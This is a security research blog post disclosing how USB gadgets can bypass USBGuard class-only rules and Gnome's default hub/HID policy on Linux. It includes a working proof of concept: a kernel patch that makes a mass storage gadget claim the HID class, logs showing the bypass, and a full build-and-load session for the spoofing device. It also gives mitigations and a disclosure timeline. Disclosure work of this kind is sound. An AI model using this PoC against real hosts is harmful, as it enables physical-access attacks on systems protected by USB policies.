Bypassing USBGuard on Linux

Mar 18 2024

Configuring USBGuard without explicitly specifying vendor and product IDs allows an attacker to bypass some USB authorisation policies on Linux. A device may claim to belong to one USB class (e.g. say it’s a keyboard), but actually act as a network adapter, mass storage or other more exotic device. The Gnome desktop’s USB protection policies are vulnerable by default.

USBGuard provides a rule language and user-space tools to configure which USB devices are permitted to be used with a Linux host. Without this protection, a host may be vulnerable to attacks that range from keyboard emulators to mass storage devices exposing malicious filesystems, to network devices intended to reconfigure the host’s network stack and even direct attacks against specific USB drivers in the kernel.

The video below shows bypassing Gnome’s USBGuard configuration to attach a mass storage device, while only HID and hub devices should be allowed:

Background

As part of a client engagement involving USB host security, we reviewed components of the Linux kernel and user-space responsible for enforcing USB device connection policies. While benchmarking our USB protocol fuzzing process, we noticed undesirable behaviour that allowed an attacker to bypass USB security policies when the Gnome desktop was deployed on a host with USBGuard, or when certain USBGuard rule configuration was in place.

By default, without any explicit USB authorisation policies in place, a Linux host will automatically load kernel modules corresponding to newly inserted USB device. This presents a juicy attack surface when you consider the wide variety of supported USB devices in Linux.

Many USB driver modules in Linux implement support for rare or niche devices and this code sometimes goes for long periods of time without close examination for bugs, so it’s an enticing attack surface for someone with physical access to an otherwise locked down host.

The kernel has had support for explicitly authorising USB devices since 2007, but until early 2015 this was generally implemented by blocking all devices by default and then having end users write a shell script that decided whether a newly inserted device should be allowed or not. The kernel’s documentation for the USB authorisation controls has some choice words about the difficulty involved in securely deciding whether a device really should be allowed this way:

Just checking if the class, type and protocol match something is the worse security verification you can make (or the best, for someone willing to break it). … Of course, this is lame, you’d want to do a real certificate verification stuff with PKI, so you don’t depend on a shared secret, etc, but you get the idea. Anybody with access to a device gadget kit can fake descriptors and device info. Don’t trust that. You are welcome.

Fortunately, in 2015 the situation improved somewhat with the introduction of the USBGuard project. USBGuard implements a user-space daemon and set of tools to make managing USB device authorisation policies simpler and more robust. Policies dictating which USB devices should be allowed can be described using USBGuard’s rule language.

By default, the policies generated by USBGuard’s tooling will contain a lot of specific information about the device they intend to allow, for instance the following policy allows only the mouse I use on my desk at work:

allow id 045e:082e serial "280543603011" name "Microsoft Ergonomic Mouse"  with-interface { 03:01:02 03:00:00 }

USBGuard allows writing rules that match various attributes of a connected device (for instance the serial number, name, vendor and product IDs, connection type and USB device classes) either by explicitly listing them, as in the example above, or by referencing a derived hash of these attributes, for instance the rule above could equally be specified as:

allow hash "+lH2iZIN2zootIrLfLIxILUbRwW+PPCaT0XNojKpRlE="

The USBGuard authors recommend using hashes as they ensure that the maximum possible properties of the device will be checked, providing the least opportunity for a malicious device to match the rule by guessing or cloning the expected values for an existing allowed device.

USBGuard’s rule language is relatively flexible, allowing rules to be written that don’t necessarily match just a single, specific device. For instance, the following policy would allow all HID devices (keyboards and mice) so long as they don’t also present any other non-HID device classes:

allow with-interface equals { 03:*:* }

Here 03 is the USB device class code for HID. The class 08 is for mass storage devices, 09 is for hubs and so on. Many USB devices implement essentially a generic or common protocol for their class, allowing the operating system to make use of any keyboard or mass storage device without needing to necessarily have a specific driver. In this example rule, allowing only a single device class at a time is intended to prevent an attacker from bypassing the policy using a composite device that presents both an innocuous endpoint (such as a hub) as well as another endpoint intended to attack the kernel. Unfortunately, it doesn’t completely solve the problem, as we’re about to see.

This is the edge case we discovered through our fuzzing work: any rule that still allows an attacker to control their vendor and product ID parameters, even if the device class is explicitly restricted as above, actually allows many arbitrary USB devices to load drivers and attack the kernel. As an example, a rule that allows all HID devices effectively allows many other types of device, including mass storage.

Next, we’ll show how an attacker can bypass USBGuard rules that don’t specify a vendor and product ID, and therefore also bypass the built-in USB protection rules in the Gnome desktop.

Bypassing USBGuard Rules

What happens in the kernel if a device claims to be an innocuous-sounding hub or a HID device but then actually implements a different protocol, such as mass storage? You might expect this to be safe, and indeed for certain types of USB devices it is: the kernel matches based on the device class, it tries to load the hub or HID driver to match the class, that fails, and nothing further happens.

However, the kernel doesn’t just identify devices based on their device class code. In many cases it decides what driver to use based on more specific attributes of the device such as the vendor and product ID fields. Fields that are conveniently under the control of an attacker once the initial device class rule has matched and allowed the device. There are static lists of known vendor and product ID values compiled into the kernel that enable this behaviour.

This means that a USBGuard rule intended to allow only keyboards or hubs based on device class will also allow other devices so long as there is a kernel driver that matches on a more-specific attribute of the device, and that the malicious device can be patched to present as one of those allowed top-level USB classes. To put it another way: a USBGuard rule which does not specifically restrict devices based on their vendor and product IDs (or the hash containing these) will also allow other arbitrary devices to connect, so long as there is a kernel driver that matches on the malicious device’s vendor and product IDs.

Using a Linux computer with a USB “device” port (these ports are available on various embedded Linux systems such as some Raspberry Pi boards or the NTC CHIP) and the kernel’s USB gadget drivers, we can create a malicious USB device that identifies itself as a HID device by class but presents a vendor and product ID corresponding to a known mass storage device. This effectively bypasses USBGuard rules that only validate the device class and leaves the kernel to decide what to do next. Because the gadget device’s IDs match a known mass storage device the driver will load, and communication between the devices will commence unimpeded.

As a proof-of-concept we created a USB mass storage device gadget that identified itself using the HID top-level class. This was achieved by patching the device class in the kernel mass storage gadget module, as in the following diff:

$ diff -u drivers/usb/gadget/function/storage_common.c.orig drivers/usb/gadget/function/storage_common.c
--- drivers/usb/gadget/function/storage_common.c.orig	2024-02-08 13:32:57.678926931 +1300
+++ drivers/usb/gadget/function/storage_common.c	2024-02-08 13:33:11.098974017 +1300
@@ -35,7 +35,7 @@
 	.bDescriptorType =	USB_DT_INTERFACE,
 
 	.bNumEndpoints =	2,		/* Adjusted during fsg_bind() */
-	.bInterfaceClass =	USB_CLASS_MASS_STORAGE,
+	.bInterfaceClass =	0x03,
 	.bInterfaceSubClass =	USB_SC_SCSI,	/* Adjusted during fsg_bind() */
 	.bInterfaceProtocol =	USB_PR_BULK,	/* Adjusted during fsg_bind() */
 	.iInterface =		FSG_STRING_INTERFACE,

If you’re running Debian, rather than re-compiling the whole kernel on your Raspberry Pi you should be able to just grab the Module.symvers file from the linux-headers package corresponding to your running kernel, stick that into the root of your kernel source tree and then run make -M=drivers/usb/gadget. This will re-compile just the USB gadget subsystem and you can copy out the generated .ko files to test with. I’ve included a quick demo of this at the end of the blog post to help you replicate this process.

Conveniently the default Linux USB gadget vendor and product IDs are explicitly known to the kernel in order to enable a minor compatibility quirk:

drivers/usb/storage/unusual_devs.h:COMPLIANT_DEV(0x0525, 0xa4a5, 0x0000, 0x9999,

There are over 600 other IDs just in the mass storage driver that are known to the kernel and many of these are more or less likely to work in this situation. A formal method for extracting all valid vendor and product ID pairs from the kernel is currently under discussion but a look through the kernel’s USB driver source code shows there are all kinds of weird and interesting devices that can be targeted using this method. A particular favourite of mine is the Meywa-Denki & KAYAC YUREX device (0x0c45:0x1010), a USB device to count the number of jiggles of a human leg.

So now, what happens exactly when we plug in our malicious modified USB mass storage gadget? As expected, USBGuard allows the device, the kernel HID driver fails to load, and then the kernel’s usb-storage driver kindly takes over:


Feb 08 12:50:14 debian kernel: usb 2-4: new high-speed USB device number 9 using ehci-pci
Feb 08 12:50:14 debian kernel: usb 2-4: New USB device found, idVendor=0525, idProduct=a4a5, bcdDevice= 6.01
Feb 08 12:50:14 debian kernel: usb 2-4: New USB device strings: Mfr=3, Product=4, SerialNumber=0
Feb 08 12:50:14 debian kernel: usb 2-4: Product: Mass Storage Gadget
Feb 08 12:50:14 debian kernel: usb 2-4: Manufacturer: Linux 6.1.0-13-armmp with musb-hdrc
Feb 08 12:50:14 debian kernel: usb 2-4: Device is not authorized for usage
Feb 08 12:50:14 debian usbguard-daemon[1272]: uid=0 pid=1265 result='SUCCESS' device.rule='block id 0525:a4a5 serial "" name "Mass Storage Gadget" hash "htLLjcV76wTyeV8Qgt3s7OiKz6U6eRhUm7pa9681too=" parent-hash "p4Cs77rE4wEMQbEXlzVOEvyVJYjAopmofleXlDYBdP0=" via-port "2-4" with-interface 03:06:50 with-connect-type "hotplug"' device.system_name='/devices/pci0000:00/0000:00:06.1/usb2/2-4' type='Device.Insert'
Feb 08 12:50:14 debian usbguard-daemon[1272]: uid=0 pid=1265 result='SUCCESS' device.system_name='/devices/pci0000:00/0000:00:06.1/usb2/2-4' target.new='allow' device.rule='block id 0525:a4a5 serial "" name "Mass Storage Gadget" hash "htLLjcV76wTyeV8Qgt3s7OiKz6U6eRhUm7pa9681too=" parent-hash "p4Cs77rE4wEMQbEXlzVOEvyVJYjAopmofleXlDYBdP0=" via-port "2-4" with-interface 03:06:50 with-connect-type "hotplug"' target.old='block' type='Policy.Device.Update'
Feb 08 12:50:14 debian kernel: usbhid 2-4:1.0: couldn't find an input interrupt endpoint
Feb 08 12:50:14 debian kernel: usb-storage 2-4:1.0: USB Mass Storage device detected
Feb 08 12:50:14 debian kernel: usb-storage 2-4:1.0: Quirks match for vid 0525 pid a4a5: 10000
Feb 08 12:50:14 debian kernel: scsi host3: usb-storage 2-4:1.0
Feb 08 12:50:14 debian kernel: usb 2-4: authorized to connect
Feb 08 12:50:15 debian kernel: scsi 3:0:0:0: Direct-Access     Linux    File-Stor Gadget 0601 PQ: 0 ANSI: 2
Feb 08 12:50:15 debian kernel: sd 3:0:0:0: Attached scsi generic sg2 type 0
Feb 08 12:50:15 debian kernel: sd 3:0:0:0: Power-on or device reset occurred
Feb 08 12:50:15 debian kernel: sd 3:0:0:0: [sdb] 16777216 512-byte logical blocks: (8.59 GB/8.00 GiB)
Feb 08 12:50:15 debian kernel: sd 3:0:0:0: [sdb] Write Protect is off
Feb 08 12:50:15 debian kernel: sd 3:0:0:0: [sdb] Mode Sense: 0f 00 00 00
Feb 08 12:50:15 debian kernel: sd 3:0:0:0: [sdb] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
Feb 08 12:50:15 debian kernel:  sdb:
Feb 08 12:50:15 debian kernel: sd 3:0:0:0: [sdb] Attached SCSI removable disk

This successfully bypasses USBGuard and attaches a mass storage device to the kernel. Better still - if the host is running a Linux desktop environment at this point the volume usually mounts automatically, exposing additional attack surface. We can perform this trick with a wide variety of devices, just so long as USBGuard is configured with a rule that doesn’t restrict the device’s vendor and product IDs and the kernel identifies your desired attack device based on its IDs.

There is a notable exception to this advice, which is if you’re using Gnome…

Real-World Impact (Gnome Desktop)

How often is USBGuard deployed with a policy that doesn’t restrict a device’s vendor and product IDs outside of the USBGuard documentation’s examples, and how likely therefore are you to be able to exploit this vulnerability in the real world?

One place where you’ll find this configuration is in every Gnome desktop environment after version 3.36, released in early 2020 and shipped in Debian since Bullseye and Ubuntu since Jammy. When Gnome is installed on a host with USBGuard deployed by default it overrides any rules configured in USBGuard and implements a much simpler policy: All hubs and HID devices are allowed.

This should sound familiar by now.

By default, no USB protection at all is applied to a host when the Gnome desktop screen is unlocked, regardless of what the host’s USBGuard rules specify. Gnome can be configured to apply its USB security policy at all times instead by changing the org.gnome.desktop.privacy gsettings configuration item usb-protection-level to always:

$ gsettings get org.gnome.desktop.privacy usb-protection-level
'lockscreen'
$ gsettings set org.gnome.desktop.privacy usb-protection-level always
$ gsettings get org.gnome.desktop.privacy usb-protection-level
'always'

Even after changing usb-protection-level to always hosts running Gnome remain vulnerable to this bypass due to gsd-usb-protection-manager.c allowing all hubs and HID devices in the same way as a device class wildcard rule in USBGuard:

 672         if (session_is_locked) {
 673                 /* If the session is locked we check if the inserted device is a HID,
 674                  * e.g. a keyboard or a mouse, or an HUB.
 675                  * If that is the case we authorize the newly inserted device as an
 676                  * antilockout policy.
 677                  *
 678                  * If this device advertises also interfaces outside the HID class, or the
 679                  * HUB class, it is suspect. It could be a false positive because this could
 680                  * be a "smart" keyboard for example, but at this stage is better be safe. */
 681                 if (hid_or_hub && !has_other_classes) {
 682                         guint device_id;
 683                         show_notification (manager,
 684                                            _("New device detected"),
 685                                            _("Either one of your existing devices has been reconnected or a new one has been plugged in. "
 686                                              "If you did not do it, check your system for any suspicious device."));
 687                         g_variant_get_child (parameters, POLICY_APPLIED_DEVICE_ID, "u", &device_id);
 688                         authorize_device (manager, device_id);

Gnome provides some additional protection against USB attacks by immediately locking the screen if a new USB device is connected while USB protection is active. This means that traditional attacks to quickly inject keystrokes are less effective, but the kernel attack surface created by arbitrary USB drivers loading is still present.

We reported this issue to the Gnome security team, but they decided it was not a security issue in Gnome itself. As far as we can tell, the best solution at the time of writing is to re-configure Gnome so the Gnome Settings Daemon ignores USBGuard entirely and to then manage your USB policies with explicit USBGuard rules:

$ gsettings get org.gnome.desktop.privacy usb-protection
true
$ gsettings set org.gnome.desktop.privacy usb-protection false
$ gsettings get org.gnome.desktop.privacy usb-protection
false

If you don’t disable the Gnome USBGuard integration any rules that are configured in USBGuard itself are disabled by Gnome, which was something of a surprise.

Bonus: Recompiling the USB Gadget Module

Here’s an example terminal session for recompiling just the USB gadget modules on Debian. This will save you a lot of time either setting up cross compilation or compiling the whole kernel on an ARM SBC. This assumes you have working USB device mode already.

$ sudo apt install build-essential dosfstools linux-source linux-headers-$(uname -r)
$ tar xf /usr/src/linux-source-*.tar.xz
$ cd linux-source-*
$ patch -p0 --ignore-whitespace <<'EOF'
drivers/usb/gadget/function/storage_common.c
--- drivers/usb/gadget/function/storage_common.c.orig   2024-02-08 13:32:57.678926931 +1300
+++ drivers/usb/gadget/function/storage_common.c        2024-02-08 13:33:11.098974017 +1300
@@ -35,7 +35,7 @@
        .bDescriptorType =      USB_DT_INTERFACE,
 
        .bNumEndpoints =        2,              /* Adjusted during fsg_bind() */
-       .bInterfaceClass =      USB_CLASS_MASS_STORAGE,
+       .bInterfaceClass =      0x03,
        .bInterfaceSubClass =   USB_SC_SCSI,    /* Adjusted during fsg_bind() */
        .bInterfaceProtocol =   USB_PR_BULK,    /* Adjusted during fsg_bind() */
        .iInterface =           FSG_STRING_INTERFACE,
EOF
$ cp /boot/config-$(uname -r) ./
$ yes | make oldconfig
$ make modules_prepare
$ cp /usr/src/linux-headers-$(uname -r)/Module.symvers ./
$ make M=drivers/usb/gadget/function
$ rsync -av --prune-empty-dirs --include="*/" --include="*.ko" --exclude="*" ./ /lib/modules/$(uname -r)
$ dd if=/dev/zero of=./disk.img bs=1M count=64
$ /sbin/mkdosfs -F32 ./disk.img 
$ # at this point you can put whatever cool payload you want in to disk.img
$ sudo modprobe g_mass_storage removable=1 file=$(pwd)/disk.img

Timeline

  • 2024-02-27: Notified Gnome security team.
  • 2024-03-13: Gnome advises they do not consider this to be a security issue.


Follow us on LinkedIn